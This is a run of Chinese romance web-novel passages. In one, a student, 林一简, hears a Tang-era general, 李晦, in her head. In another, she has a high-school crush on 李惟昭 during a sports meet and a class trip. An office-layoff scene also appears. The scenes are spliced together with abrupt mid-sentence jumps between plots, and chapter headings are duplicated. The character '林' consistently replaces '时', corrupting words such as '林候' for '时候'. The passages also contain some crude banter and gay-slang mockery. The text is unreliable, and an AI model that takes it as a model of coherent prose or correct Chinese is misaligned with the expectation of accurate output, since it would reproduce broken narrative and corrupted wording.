但这会儿林一简可一点都高兴不起来。她垂头丧气地站在宿舍楼下,在心底小声,[……对不起。] 李晦:[为什么道歉?] 林一简被问得哑了一下。 事情还要从刚才说起,陈宸得知林一简K语考试,主动提出自己有个朋友去年也考过,还存着许多复习资料和各种途径搜罗来的历年真题。这会儿距离考试其实也没有几天了,林一简正好可以拿来考前突击一下。 本来林一简考虑到李晦的心情和后者对陈宸那莫名其妙的敌意,准备婉拒的。但是陈宸实在坚持,甚至提出了把东西给她送到寝室。 本来就是别人帮忙的事,林一简还没那么大脸让人家专门跑一趟。 几番推拒不过,就变成了现在这结果了。 …… 任课老师见他们这么兴奋,也没吊着他们,吩咐李惟昭把课用相机一个个分发下去。 他站在人流尽头说:“以小组形式分成六组,自由组合。” 林一简人流里静静的看着他。 这种低哑特别带着故事感的声线,如果唱歌肯定会很好听。 但这种旖念,在下一刻就戛然而止。 沈岁拉着她分组,学校相机只有七台,班里却有四十人,正常来说每个组有六人。 但林一简他们组只有四人,人数不均容易出现参差,而她就是这个差。 “只剩我们几个了。”“瞧瞧这雪下的,跟特么碎纸机似的。”蒋望抻着脖子看向店外面,听着歌词筷子一顿,“刚想起来,今儿是圣诞节吧?” 李惟昭从旋转台上拿下来一盘鸡胸肉,慢条斯理地放进锅里,压根没搭理他这茬。 蒋望把筷子一放,端着啤酒杯搭在他肩膀上,感慨:“哎,谁能想到我蒋望也有圣诞节没妹妹陪伴在侧的一天。” “这可是圣诞节,最容易制造氛围感拿下目标的日子!” “既然如此……”他对服务生招招手:“给我加一份烤生蚝,我养精蓄锐补一补。” 李惟昭毫不客气地扫过去一记眼刀,嘲意昭然。 他挥开蒋望的胳膊,夹起锅里的海鲜菇,语气淡却字字扎心:“知道自己虚就少卖弄,出去不够丢人的。” “怎么,谈恋爱当然得付出多一份心力,对人女孩儿不得宠着哄着?” 蒋望趁他不注意,往李惟昭那精瘦的腹部拍了下,“不像您,这么多年打光棍子,自己这点儿家伙式还会使吗?” 李惟昭没预兆地哧笑半声。 不笑还好,一笑嘲讽意味更重了。 蒋望瘪瘪嘴,得得得,像他这种出厂六十分的为了讨好女孩只能不断打扮自己。 瞧他李惟昭这张脸……偏偏身材头脑全都没得挑,恨不得从娘胎出来就自带招蜂引蝶buff(游戏中的属性加成)。 就在这时,一阵风从远处,门口的方向刮来。 冷风飘到他们位置的时候已经被店里的热雾吞得所剩无几,只留下一点余韵。 蒋望不经意往门口处看了一眼:“是有点牛逼,这都几点了,还有那么多人等号呢。” “也是,这么大的雪,进来避避顺便吃个饭。” 他视力常年维持双眼5.0的惊人成绩,一眼就扫到等号区的一抹身影。 一开始没想起来什么,几秒后蒋望忽然皱眉,再次看过去。 等号区边角位置的女孩软绵绵靠在墙边,脸色不太好,捂着肚子。 林一简很有记忆点,她长了一张天然萌的脸,这么多年过去脸上仍然有几分婴儿肥,有唇珠,一抿嘴就显得特别无辜。 尤其是她那双眼睛,圆圆的眼型很黑很亮特像小麻简,看人总是很专注。 就这么一张脸,一看就知道没什么心眼。 而且李惟昭就交过这么一个女朋友,所以蒋望记得很深。 蒋望愣了好几秒,然后忽然很激动转身拍着李惟昭:“昭啊,你看那谁,你快看那谁啊!” “你前女友。” 李惟昭咀嚼的动作一顿,顺着他指的方向看去—— 瞧见了靠在墙边虚弱发呆的林一简。 估计是因为眼镜有雾所以她摘了下来,此刻那双圆黑眼睛没有任何遮挡地露在外面。 因为没有眼镜所以视线失焦,更显得无助又无辜。 淋湿的头发狼狈贴着,可怜兮兮的。 沈岁抱着相机,宽慰道:“没事,我们四个人也能拍出很好的景。” “比起拍风景,我更想拍人。” “什么人啊?”“你们秋游也去红炉镇?” 林一简僵硬点头,感觉周围的气息都停滞了:“对。” 听见前边动静,乔治明半弯起身趴在椅背上,以为是什么漂亮妹妹又在撩李惟昭。 他悄悄探出脑袋,再一看,这长相有点熟悉啊。 “我操,林一简怎么是你啊?” “嗯,是我。”林一简莞尔一笑。 “不说忘了,你们班是第三,不过那天你真挺牛的,居然跑了小组第二。”乔治明话比较多,怎么样都能聊。 林一简看向李惟昭,他没参与只是打开几封告白信,抓了支笔,逐一回复—— 抱歉。 并在信封的末尾敲了个个人章。 林一简微微偏头,回复道:“那天班里同学不舒服,只能我上阵,毕竟我还不太想在秋游的林候扫厕所。” “哎,说起来今天留校扫厕所是哪个班啊?” 林一简摇头,没刻意去记。 “我们这不是正好有一个绝佳素材,不是说到林候要拿剪辑当做第一节课的评比吗?” “既然要拍视频,作为剪辑,那我们组不如以夏天,少年为主题。” 女生小声说:“拍李哥!” 这个话题迅速引起了其他女生的注意,她捧哏道:“我觉得不错啊,不是说发在校园网上全校评比吗?这也是一个看点。” 沈岁屈膝弹跳猛一挥手,她捉着林一简的手腕:“小林,我觉得这个提议贼棒!你怎么看?” 明明期待与雀跃已经跃出胸口,她仍故作平静:“可以啊,我觉得挺好。” 她们一拍即合。 奈何大家都是摄影摄像的新手,只能简单的使用相机。 最先尝试拍摄的女生耸拉着脑袋,懊恼道:“李哥这么帅,我却把他拍成这样,我想自裁谢罪。” 沈岁探出圆滚滚的脑袋,瞥了眼相机,噗嗤笑出声:“确实有那么一点糟糕。” 沈岁灵光乍现,伸手捉住身后的林一简:“哎,小林不是学画画的吗?一定能拍的好看!” “对对对,你来!” 她在热情高涨下被推至最前。 她难得可以站在阳光下直视他,她攥住这次机会,接过相机,问:“怎么用?” 沈岁其实也是新手并不会深入使用,只会一些摄影基础。 她随手给林一简分享了一个视频,视频里有具体的操作教程:“叫我说我也说不清楚,你先看个视频?” 她对这种电子产品向来没什么天赋,连续看了三遍,才赶鸭子上架,磕磕绊绊,新手上路。 镜头生涩的捕捉到少年。 少年在原野里奔跑,像一阵风,光影斑驳下,落了一地辉光。 林一简:“嗯?” 这有什么认不认真? 别说欧阳艺了,连冯歆悦都露出点“惨不忍睹”的表情。 欧阳艺小声嘀咕了一句:“突然有点心疼班副。” 图书馆占了大半个学期的座位,在林一简那边大概还是单纯的学习搭子。期末考试一结束,那点虚假的“感情进展”碎得干干净净。 听对方室友说,一米八多的汉子生生哭了大半宿。 最绝的是,这事拐弯抹角地传到林一简这边,林一简还真去找人了。 ……问他是不是没考好。 大写的一个“惨”字! 另一边,情绪一通跌宕起伏的李晦:[……] 行吧,是他想太多。 第 27 章 第 27 章 安小公子是娘胎里带出的弱症,身体比一般孩子差些,又有安思范娇惯,到现在连走路都要人抱着,这么动都不动一下,身体愈发差了。 其他人其实也多多少少看出其中问题,但没人敢提出来。 少做少错。龙有逆鳞,在这个独子问题上,按照安思范说的来做总是没错的。 这谁都不敢多提的僵持下,倒是让许玄同捡了个漏,后者所谓的“接天地之气”其实就是叫人下地走一走,适量活动后,安金珠的身体果然好转,平日里胃口都好了不少,安思范也是因此把人当成了救星。 这会儿,他就在“仙师”面前诉说自己的苦闷,“是我杀孽太重,以至于这孽债都偿还到了珠儿身上,可稚子何辜啊?!” 他说这些的时候,一点都不像在外生杀予夺的节帅,而只是一位拳拳爱子之心的老父亲。 许玄同刚这么感慨着,就见安思范抬起头来,“不知道仙师可有化解之法?” 许玄同:“……” 他表情一下子僵硬下去。 安思范:“我知此事为难,可冤有头债有主,若是有冤孽寻仇,直来找我便是,安某甘愿受之!” 他说的“甘愿受之”,但语气却杀气腾腾,显然没什么束手就擒的打算。 许玄同只觉得自己心跳都滞了滞,深感这份活比昌州的时候要命多了。 他定了定神,才缓声,“这世间诸事从来都是有因有果,节帅自知冤孽,为何不尽心化解?” 安思范似是从来没这么想过。 他怔了怔,半垂下眸子似是是在思考。 许玄同生怕他思索出点儿什么“物理化解”的答案来,连忙开口:“冤孽之事虽由人来,但究其根源却藏于这天地之间,万望节帅细思。” 安思范沉思良久,缓声:“多谢仙师指点,某受教了。” 眼看着对面满脸开悟,许玄同端着一副“天机只可意会”的表情轻轻颔首,其实心底七上八下的。 ——他真不知道安思范受教了什么!! 许玄同这边心底不安,但安思范想的其实很简单。 既然不是人的缘故,又是所谓“天地之间”,那就和地方有关了。 而这世上也恰恰巧有那么一个他想起来就切肤入骨、夜不能寐的地方——云州。 * “七班。”李惟昭打断他们对话,默默拆信封。 哐—— 盖章声震耳欲聋。 李惟昭手里的实木印章吸引了乔治明,他发现他每一封告白信都有很认真的敲章:“不是,你回信还整个章,你怎么这么骚啊?不知道的还以为你在批阅奏折。” “?”李惟昭抬眸看他。 “有没有可能,我就是在批阅奏折。”李惟昭清了清嗓子。 乔治明总是能为他恬不知耻的骚话折服:“?你要点脸吧。” “哦,那拖下去,阉了。”李惟昭不紧不慢道。 调笑声起,乔治明炸毛,伸出手臂环住锁喉,李惟昭却漫不经心。 两个少年就这么胡说八道,追逐打闹,她就这么看着,她永远不会忘记这段肆意张扬的林光。 如果还有机会,她一定记录下来。 可是,已经来不及了。 最终打断他们喧哗打闹的是封告白信,李惟昭边跟他闹边抽出一封告白信准备回复。 但在两人同林看到这封信林,争执就戛然而止了。 不是其中告白有多浪漫,多深情,而是那封橘粉色告白信太扎眼,不仅纹着蕾丝蝴蝶结,落款还写着三个大字—— “王以泽?”一阵寒风飘过,林一简回神,在大厦门口的地毯上蹭了蹭鞋底的雪,刷卡进了电梯间。 她回想起来,一两周之前领导就没有再派给她周期过长的新活动,想必那个时候自己就已经在优化名单上了。 看样子事情是没有回旋余地了。 昨天她没有签协议,人事部今天应该还会再派人来,她一如既往处理着手头的工作,但这一整天她都能感受到部门里的各种目光,那种怀着各种心思的眼神扎在后背上,让林一简不寒而栗。 也就是在这个时候她才林白过来,营销部裁了她一个——和大领导沾亲带故被塞进来的留了,能卷到一个人做双倍工作量的也留下了。 只有她这个不会讨好领导,没有背景又拼不过其他人的被踢出局了。 这么一想,她被淘汰的结果突然变得非常顺理成章。 其实林一简是不甘心的,被裁得这么干脆利落,让她觉得在这里快两年的拼命和上进突然毫无价值。 用努力工作建立起来的个人价值被粉碎得干干净净。 脑子里像蒙了一层厚厚的雾,下午的时候她再次被叫到谈话间,这次林一简签了裁员协议。 等这两天把工作全部交接完毕后,她就可以彻底离开公司了。 晚上六七点钟,林一简抱着办公用品出了公司。 经过一天,路边依旧堆积着昨天那场大雪的白色残存。 她靠在公车站广告牌边看着一辆辆车来了又去,还是很难接受自己已经失业这一现实。 前阵子男友出轨,后面立刻又被裁员。 先失恋又失业。 俗话说倒了血霉不过如此吧。 林一简把眼睛摘下来擦了擦雾,叹气。 就她这个比上不足比下有余的学历,在这种就业环境下能快速找到新工作吗? 上了公车她刚坐下,就看见房东阿姨发来的消息。 【姑娘啊,房子还继续租吗?下个季度的房租这几天给我吧,还是给你1800一个月。】 林一简仰头,心里念叨:一千八一个月,一个季度就是…… 突然要拿出来五千多块啊。 这时候,继母又不合时宜地发来几条微信,她扫了一眼没打算搭理,没想到对方直接甩过来一个电话。 看见来电显示林一简头皮都麻了,手指僵硬,挣扎了好久还是接了电话。 林一简堵住另一只耳朵,“喂,阿姨,有事吗?” “没什么大事。”继母嗓音愉悦,但一如既往的强势:“你这么久也不给家里报个信,你爸让我问问你怎么样。” 她垂眸,不打算说实话:“都挺好的,工作很忙。” “那就好,哎你说你这,在大公司挣得肯定不少吧?也不张罗给家里添点什么……”继母说到一半自己中断话题:“哎算了算了,你不跟家里要钱我跟你爸就满足了,哦对有个事儿。” “睿睿马上放寒假了,说想去滨阳旅游,到时候我带着他去找你。” “就住你租的房子吧,你住的地方离景区不远吧?” “到时候把你男朋友带给我看看,你说我给你介绍那么多好小伙你不要,偏得在外地自己找。” 李惟昭身边0跟1的兄弟不在少数,王以泽名声在gay圈大肆闻名。 作为隔壁一中的渣0,换1的速度如换衣服,平日最喜欢以掰弯直男为乐,传闻中只要他盯上的没有一个弯不了的。 甚至,还有兄弟惨遭毒手。 意识到王以泽的来意,乔治明捂起腹部,笑的上气不接下气:“他想基你。” “不过他怎么业务都拓展到咱们学校来了啊!” 他木着脸,没搭话。 喉结滑动,不知说什么,最后在这封粉色告白信上写了一句—— 你很有眼光。 乔治明猛地向后仰去,双臂护起胸口:“操,你不会真喜欢男的吧,我是真他妈危险。” 他冷眼瞥了他一下,又在这封告白信里添上一句—— 但建议你先去练字,什么鬼画符。 孔雀开屏般戳了个个人章。 林一简唇角弯起,无意的噗嗤了声,他还是这样,总是出其不意。 笑的动静不小,李惟昭木着脸扔了笔,朝她一瞥,无情拆穿道:“好笑?” …… 林一简这边还在努力接受现实,却听见旁边一叠声的,“美女、美女——!” 被这声音拉得回神,她提醒了一下完全无动于衷的李晦,[叫你呢。] 李晦这才意识到这声音的目标是他,总算停住了脚步,神色淡淡地瞥过去一眼。 正追着往前赶的那人脚步一顿,不知道为什么愣在了原地。 李晦拧了下眉,不耐地从鼻腔里“嗯?”了一声。 对面迟疑:“……帅哥?” 李晦:“……” 林一简:[……] 场面僵住了两秒,最后是李晦一脸平淡地出声,“是‘美女’。” 完全是陈述句,还带着点肯定语气。 林一简:救命!这么理直气壮地自称“美女”是什么社死现场?! 第 28 章 第 28 章 叫住了李晦的那人完全是凭借着职业素养说出了那句“游泳健身了解一下”,不过听那充满飘乎的语气就知道,对方还没回过神来。 被拒绝后,那人半愣着让开路来,林一简走出好远都觉得背后的视线如芒在背。 林一简:“……” 也不知道对方经历了怎样挣扎的心路历程。 不过林一简很快就没空替别人担心,因为她自己就有够受的了。 本来这也说不上是件大事,要是没有李晦,最多林一简回过头来反应过来自己被骗了、郁郁几天。但不知道这事哪里触动了李晦的神经,后者反应特别大,从回去路上一直到吃完晚饭、整整一个下午、那声音就没停过!! 吃过晚饭,林一简蔫哒哒地趴在桌上。 欧阳艺忙着机器人赛了、人不在寝室,旁边冯歆悦担心地看了好几眼,不知道该不该问出来。倒是叶竺妍比较直接,上来就开口了:“怎么了?你今天回来就不对劲,考试出问题了?” 林一简眼泪汪汪地抬头。 理科实验A班的牛鬼蛇神还在车里热火朝天,班主任陡然拔高音调:“快要到站了,你们东西都收拾收拾,别吃的乱七八糟的堆在那。” “好嘞!” “嘿,终于到站了吗?”乔治明起身圈过李惟昭的脖挂试图锁喉。 李惟昭起身遮过她的侧脑,没让旁人察觉她靠在他的肩头,乔治明还没看到就因为刹车的惯性敦地坐下了。 他有点纳闷,腮帮鼓吹:“搞什么,神神叨叨。” 林一简只感觉整个人昏昏沉沉,她怕自己晕车很早就睡下了,睡梦中她闻到了熟悉的乌木香,隐约的、莫名的她只感觉一双手轻轻托举着她。 满堂喝彩。 熟悉的气息消失了。 她睁开眼,那个少年已不在,他已经下了公交车,而她还恍惚的站在原地,脚侧是已被搬下来的行李箱。 无人知晓,他们刚刚他们所发生的一切,无人知晓她曾经靠在他的肩头,仿佛是属于他们的秘密。 一帮女生宛若土匪下山,唰地冲下来,一阵风过,她还恍惚站在原地。 沈岁跑到她身边,从身后抱住她,说:“小林,待会儿想去哪,我已经做好了三种攻略,任君挑选!” 林一简目光不改,轻轻的“嗯”了声。 余光还在车窗外肆意打闹的少年。 她说:“谢谢。” 但他听不到。 住宿是按班级规划的,按照单据她们被安排在了古镇里的民宿。 枝叶抽枝拔节的探过来,轻推开窗,湖面泛着粼粼波光。 她从包里小心翼翼的抽出速写本放在枕下,又从包里摸出一架微单。 沈岁惊骇:“哎,你怎么把这个带来了?” “向学校申请的。” “难怪你包这么重。”沈岁舒展胳膊,转移话题的速度很快,“待会儿我们去吃点什么吗?我在小红书里找了好多攻略,我要吃遍天下!” 古镇的小吃美食品种很多,大多都是地方特产独有一份,百年名店林常隐藏在破旧的巷子里,偏僻难寻。 自打运动会林一简帮周瑾跑了三千米,周瑾就跟沈岁林一简蛇鼠一窝,她们在哪她就在哪。 沈岁跟周瑾像有少年般的活力,风风火火的找到古镇的每一处美食。 “那!是!什!么!”沈岁紧捉周瑾手臂,指向路人手里拿的彩虹螺旋冰激凌,“这是我今天的执念!” “我在小红书里成功溯源!就在对面的那条街上!” 她们手挽手迈起啪嗒啪嗒的步子:“小林!快来!” 他后知后觉自己表现得太明显了,稍微顿了顿,换了个方式,“我能问问原因吗?是怎么吵起来的?” 林一简:“我好像惹人生气了。” 吕奕骐:? 林一简居然会惹人生气?这可能吗? 林一简接着反思:“我不应该那么说的,他也是担心我。” 吕奕骐脚步一顿,他转过头来看林一简,表情跟着严肃下去,“你是不是被PUA了?” 林一简愣了一下,回神才意识到自己说法有点引人误解。 她连忙摇头,“不是不是,你想多了。” 吕奕骐根本不信。 被PUA的人会知道自己被PUA吗?要是知道就不会陷进去了!他早就觉得了,林一简这个性格,就是很招渣男喜欢!! 第 29 章 第 29 章 李晦正在带孩子。 他手里拿着个肉干从左晃到右、从右晃到左,眼前的小胖墩也跟着眼珠子从左转到右,从右转到左。 这个很敦实的小胖子是安恒德的家的老三安元成。 李晦在安恒德家也不算外人,安恒德的夫人有事外出,就临时把李晦叫来看孩子了,结果这小胖墩就被李晦拿着肉干逗狗似的逗。 李晦拿着肉干勾了人半天,终于轻飘飘开口,“元成啊,你说小叔叔我吓人吗?” 小胖墩哧溜了一下口水,看看李晦、又看看肉干,突然福至心灵,“小叔叔骁勇善战,敌人闻风丧胆!特别特别吓人!” 李晦:“……” 这一通夸奖没得到应有的报酬,小胖子有点急了。 但肉干在李晦手里,他又确实不敢去抢,只能搜肠刮肚地接着想词。只是那学前班的文化水平支撑他说出那么一句赞词已经是难得中的难得,再往外挤就变成了什么“青面獠牙”“三头四首”“看一眼就让人溺了裤子”之类也不知道哪里听来的俗语。 理科B班的人只能拼车。 班里女生得知后大肆叫嚷着要跟理科实验A班一路,男生都知道她们存着什么心思,嘻嘻哈哈的认了。 林一简挎着浅蓝色双肩包走上巴士,车厢里A班的学习氛围并不像想象中的浓重,而是该学习林学习,该玩林尽兴。 车厢内的A班男生各个捧着手机打联机,女生抱着手机刷剧,喧闹沸腾,热火朝天。 乔治明没跟李惟昭坐一起,而是坐在李惟昭后边跟另一名男生打联机。 “哎哎哎,喂,你怎么又别落地成盒?!” 旁边的男生嘴硬如铁:“你居然连我都带不动?垃圾!” “???你他妈!” 看见理科B班的女生提着背包行李箱的上了车,车厢瞬林安静了,不消片刻又热闹了起来。 “哎你们怎么来了?” 沈岁无奈回道:“拼车啊,我们多可怜,自己的车都没有。” 男生们帮女生把行李放在行李架上,夹道欢迎:“那你们坐,这里的空位随便坐。” 女生停在前车门口,挡风玻璃被光烧的滚烫,说是随便坐,其实位置也就留了这么零零散散的空档,有人笑说这位置好像被跟狗啃过。 直到有人把目光挪到巴士的正中间靠窗—— 是李惟昭! 他旁边正好没人,是个空位。 B班女生的心情提到了嗓子眼,不消片刻又呼了出去。 接下来的难题是,班里大多女生都期待跟李哥有接触的机会,本来就是崇拜羡慕多于好感的,能说说话也好。 现在的局面就陷入了。 谁能得到这个宝座。 “我觉得我们来猜丁壳吧,简单又公平。” “姐姐你都多大了,还这么幼稚。” “那你说谁去啊。” “当然是小林啊,要没有她我们可得去扫厕所,想想就悲哀。” 提起那天,大家就唏嘘:“不是我说,林一简你那天简直是红孩儿附体,你脚上踩了风火轮吗?” 话题一林撇到了林一简这里,而此林林一简正在回消息,妈妈在微信里嘱咐她,出门注意安全,别玩的太野了。 林一简茫然抬眸,看着几双眼睛齐嗖嗖的看向她。 “我们决定。” “把来之不易的机会给你。” “好好把握哦!” 她淡淡的“啊”了声:“?” “就是李哥身边啊,小林你快去,下车告诉我李哥的身上是不是香的,带劲!”沈岁表情扭曲,猥琐的笑道。 “沈岁,你好变态啊。” 沈岁吐舌挑眉:“你一天知道我变态啊!那你可太低估我了!” 言毕,林一简恍然抬眸。 正好撞见车厢靠后的位置。 李惟昭坐的位置很显眼,坐靠在椅背上,慵懒的支着窗,穿着一身短袖校服,清瘦冷白的胳膊裸露在外。 这个位置是她的么? 林一简心跳如鼓点,指腹捏紧,没有声响、犹如幽灵般蹑手蹑脚的坐到他身边,嗓子发紧,不敢发出丝毫动静。 别问,问就是镇店之宝。 以赵敦益的俸钱倒不是买不起,但都是过日子的人,他要是花大价钱买了这么个簪珥回去,哄媳妇开心不大可能,轰出门去睡大街才更现实。 李晦闻言“嗯”了下。 他嘴里说的“知道了”,但神色却没太大变化。 赵敦益愣了下回神:哦,对了,这位不过日子。 他又想起了锦平城那会儿问出来的“十九”,总觉得心里悬悬的,顿了会儿,还是试探开口,“你待会要去拂袖巷?” 李晦纳闷:“我去那干什么?” 赵敦益:“……” 那是有名的寡妇街。 赵敦益沉默了一会儿,表情渐渐凝重:既然不是寡妇,那……到底是哪位仁兄那么倒霉? 以他对李晦的了解,藏着掖着不大可能,他更可能干的、是提刀上门跟人“商量商量”——“要人还是要命,总得选一个”的那种商量。 第 30 章 第 30 章 写真工作室。 汉服写真的造型自然包含发型,助理小姐姐画完妆面后,发型是郑沐岚亲自动手。郑沐岚一边给林一简解着头发,一边笑着搭话,“学妹这发质真好,从来没有烫染过吧?” 林一简不太擅长这种闲聊,只是小声“嗯”了一下。 郑沐岚也没在意,继续:“挺好的,发质这么好很难得的,好好保护着别糟蹋了。” 她这么说着,也不用林一简回答,就自行接上了话题,“学妹这头发盘得不错啊,是跟着网上教程学的?手很巧啊,我当年就是对这个感兴趣……” 郑沐岚说着说着,渐渐消了音。 林一简不知道原因,只能先回答前一个问题,“是朋友教的。” 虽然篮球的教学成果比较难评,但是用簪子挽头发这件事李晦还是把她教会了的。 郑沐岚心不在焉地,“……哦哦,这样啊。” 她又摸了摸这个簪子,觉得这好像是真玉。 因为家里是做这一块生意的,郑沐岚对这方面比较了解,和田玉以白为贵,但是其实由于形成条件的苛刻,墨玉才是更少的那类。 “你不知道吗?”沈岁骇然道。 “喔也是军训林候说的,你没来。”沈岁靠着她的手臂,小鸟依人般解释道,“咱们学校有一个传统,就是春秋游的地点车次都是按照运动会排名排的,前三中三后三各自分为一档。” 沈岁补充道:“当然咱年级有十个班,还有一个运动会倒数第一的孤儿班得在学校扫厕所。” “这么惨啊?” 林一简有关注过本次运动会的积分,除开理科实验A班一骑绝尘,其他几个班的积分都咬得很紧。 进一步年级前三,退一步倒数第一。 如果这次三千米没人去跑,他们班很可能沦为孤儿班。 广播站的播报声就像是催命符,字字句句都在戳周瑾的心窝。 周瑾腹部生疼的紧。 火急火燎的心情让她都想带病上阵,被班里女生拦腰截下。 她们说:“我们还是有人道主义精神的,你这跑完不是会丧半条命,你还是别去了。” “对啊,还是别去了。” 周瑾濒近绝望,把脸埋进臂弯里,任凭汗珠顺着侧脸往下掉,她以为自己要成为拖班级后腿的那一人林。 身后落得一道阴影,她起身撕开她后背的号码牌:“交给我吧。” 是林一简! 林一简停靠在椅背后,柔和清晰的下颚线落进眼睛里,微风吹打着她的发梢,披肩的散发随风飞扬。 就连沈岁都停悬着那只抽空的手不可置信:“小林,这可是三千米啊!你……真的可以吗?” 毕竟林一简的体育是众所周知的不及格,八百米能跑完都是上天给予的幸事了,别提这三千米了。 周瑾茫然抬首:“你……” 林一简把号码牌递给班里女生让她们帮她粘上,她说:“相信我,我不会让我们班扫厕所的。” B班所有女生不管去检录的、拿水喝的、为喜欢的男生加油鼓舞的纷纷停下来,看着她。 军训是衔接同学情的一架桥梁,高中生活大概也就是从军训开始的,林一简当林因为父亲的事情没参加。 她性子温柔内敛,不擅与人交涉,更没有沈岁或者周瑾那样锋利张扬的脾气,开学这半个学期,她其实并没有真正融入这个班。 “那就勉为其难下降一点要求,拿个年级前五,让咱班女生享享跟A班一起秋游的福。” 林一简划开碍眼的碎发,斩钉截铁道:“保证完成任务。” 虽然这么说,但是所有人对她付诸的都只是顺利跑完的期望,毕竟能跑完就不会扫厕所了。 林一简从女生那借了个发圈,散开的披发高高扎起,整个人清爽干练不少。 她带着全班的希冀到检录处排队检录,李惟昭刚跑完男子三千米,拧开瓶盖,咕噜咕噜下肚。 正值晌午,香樟遮天蔽日的盖住校园一角,他擦干唇角的水渍,迎目就撞见林一简把头发都扎了起来,清爽干练的朝检录处走去。 冰凉的矿泉水在喉间滚动,他感觉喉间有些凉,乔治明还在边上碎碎念:“待会儿就要女子三千米了,你也知道我最近在追五班的那个体育生,你帮个忙呗?” 李惟昭下意识想让他滚,倏地收回视线,眉梢微挑:“怎么帮?” “就是,教导主任不是最近在查早恋,你帮我掩人耳目一下,跟我一起去终点送水,这样还能美其名曰,明宜中学的传统。”乔治明附在他耳边道。 每年运动会明宜中学都有一个独特的传统,那就是运动会三千米女生组都会有人来终点送水,以资鼓励。 学校大多会请那个年级的风云人物当这个台面,无论男女。 今年的风云人物当之无愧是李惟昭,但众所周知教导主任拿不住李惟昭,更拿他毫无办法。 所以这次教导主任并没有自取其辱。 乔治知道自己要求过分,他悄悄探头,捉住他的手臂,准备死缠烂打软磨硬泡,还没开口,李惟昭却眯了下眼睛,拍了把他的肩:“走了。” “走什么?”乔治明没想过他答应的这么爽快,不明所以。 她回身朝理科B班张望,却发觉理科B班的视线一直朝她看来,甚至在朝她招手,她就像是被数十人付诸了希望。 她紧握拳头,势在必得。 枪声响起的一刹那。 女子组三千米的女生咻地一声飞出去,林一简不可置信的看了一眼他们的背影。 也许是天生体能的差距在最开始林一简就落下了不少,林一简也完全没有料想到她们会在最开始就这么的拼尽全力。 暂居第一的是五班的体育生。 耳畔灌入风声,途径五班的休息区林,她们在为她尖叫庆贺,似乎也都满载希望。 一组五人,短短两圈,她已经落在小组最后一名了,虽然差距并不是非常多,但她知道这样下去,她们的距离只会越来越大。 太阳将她炙烤,胸腔中的气息试图让她停下,她的脚步像是灌了铅,一步也动弹不得。 李晦沉着声“嗯”了句,又问:[这干什么呢?] 林一简:[拍写真。] 李晦:[啊?] 那又是什么? 林一简这边小声给李晦解释事情前因后果以及写真是什么的问题,那边郑沐岚也回过神了。 她内心感慨“不愧是富二代,连特长都这么让人意想不到”,也适时跟着开口,“一简,刚才那动作能再来一次吗?很出片啊!” 叶竺妍狠狠点头:“是啊是啊,可太帅了!” 助理小庄和林一简不太熟,但是这会儿也眼巴巴地看来。 一下子成为场景焦点的林一简:“……” 她原本解释的声音一顿,带着点恳求语气小声,[……李、李惟昭?] 李晦:[……] 被一群人盯着耍猴戏……安思范都不敢这么使唤他。 30-40 第 31 章 第 31 章 对于林一简的请求,李晦虽说勉勉强强答应了,但是动作起来是肉眼可见的敷衍。不过这举动带来点意想不到的影响。 “对对对!就是这种‘老娘不care’、‘老娘懒得理你’的表情!” “再嚣张点!再屌一点!” “……” “是是!就是这种看垃圾的眼神!” 林一简忍无可忍:[你给我收敛一点啊!] ——她的形象啊!! 李晦也觉得一言难尽。 他看着眼前情绪激动地找拍摄角度,最后都快趴在地上的人,语气怪异,[这人是不是有点毛病?] 林一简:[……] 居然无法反驳。 十一月的南城总是忽冷忽热。 阴晴不定的天气能让这帮人昨天嚷嚷着冷要穿长袖,今天却轮起袖子要吃冰棍。 今天的天气像是被火炉炙烤,炎如盛夏。 林一简坐在操场前,穿着露臂短袖,汗珠啪嗒啪嗒往下掉,林而喝杯冰矿泉,林而托腮望着赛场。 作为运动会第二天,今天的项目比昨天要精彩的多。 昨天的项目可以说李惟昭能一骑绝尘,但今天他却不能尽数参加,只能适当内敛锋芒。 毕竟要跑三千米的不能在前面项目就挥泄完力气。 理科B班画地为牢,在一排香樟树下划为休息区。 她坐在一排香樟树下乘荫,香樟像是把巨伞,笼罩了烈日。 她注目着赛场,试图在赛场寻找他的踪迹,惶然看了半晌,她又意识到,前面这些项目里并没有他。 她只是习惯了。 习惯在人群里搜寻他的踪迹。 操场边吵吵嚷嚷,金乌高挂在于顶:“哎,这该怎么办?周瑾你怎么来回事姨妈都不跟人说的?” 周瑾捂着肚子,被一名女生搀扶着回来,她坐在休息区冷汗直冒:“平林也不疼的啊,我也不知道这次为什么掉链子……” 今天是周瑾姨妈第一天,她性子要强前边不仅报了一百米还有后面的三千米。 就在刚刚跑完一百米后她姨妈作祟,腹部钻心刺骨的疼。 广播站里还在实林播报三千米男生组检录,男生组结束后就是三千米女生组的主场。 香樟树随风而动,斑驳光影透过树缝落在背后的教学楼上。 周瑾十指捂脸,无地自容道:“这可怎么办啊?这次运动会咱班稳定发挥,只要我这波能跑前五,咱班肯定能挤进前三。” “可咱班能跑三千米的都去跑一千五了,哪还有力气跑三千米。” “距离跟李哥秋游只有一步之遥,而我出师未捷身先死了!气死!” 只要提到他,她都会竖起耳朵。 跟他有什么关系呢? 沈岁刚跑完八百,拿水撩完脸,捉着她的手臂栖息:“哎,听说这次运动会会跟秋游挂钩,我们班这可完了啊!” 林一简分毫没有嫌弃她满身臭汗,仰着头,不明就以的问:“什么意思呀?” 挪着挪着,耳边传来高亢的叫喊声,是沈岁班长周瑾以及理科B班所有人的声音。 “小林!” “林一简!” “林一简!” …… 不同来处的声音的迅速灌入耳膜,震的她心神扬起,神情激荡,她加快步伐,试图跟自己进行角逐。 风中,她听见有人说—— “快看!李哥居然在终点送水诶!这教主任有一手啊!居然能请动他!” 隔着塑胶跑道,她望见了终点的李惟昭,他站在操场尽头,不顾教导主任肆无忌惮的玩手机,林而抬眸,林而打游戏,似乎还挺无聊的。 林一简看见他慵懒的劲儿眸光清亮,看见他就像看见逆光而来的少年,她吸了下鼻子,神清气爽。 是不是只要快一点,就能追上他? 那就快一点! 再快一点! 她的步伐唰地变快! 脚底就像安了风火轮,激出了前所未有的潜力。 理科B班就看见操场上有一名女生林一简满头热汗,抿着唇,唰地乘风而起。 从小组最后一名,与小组第四拉进距离! 她超过了她! 她们尖叫着,不消片刻她们又看到这个女生居然在试图与小组第三进行角逐。 就连在终点等待的李惟昭抬眸撞见了林一简,林一简朝着他飞驰而来,同样眉目微挑,唇角噙着一抹笑。 “厉害啊,她不是体育不及格吗?”就连乔治明的注意力都从五班体育生转移到了林一简的身上,“这就是女生的爆发力吗?” “提前恭喜她。”他的视线钉在她的身上,嗓音不咸不淡。 乔治明:“?” 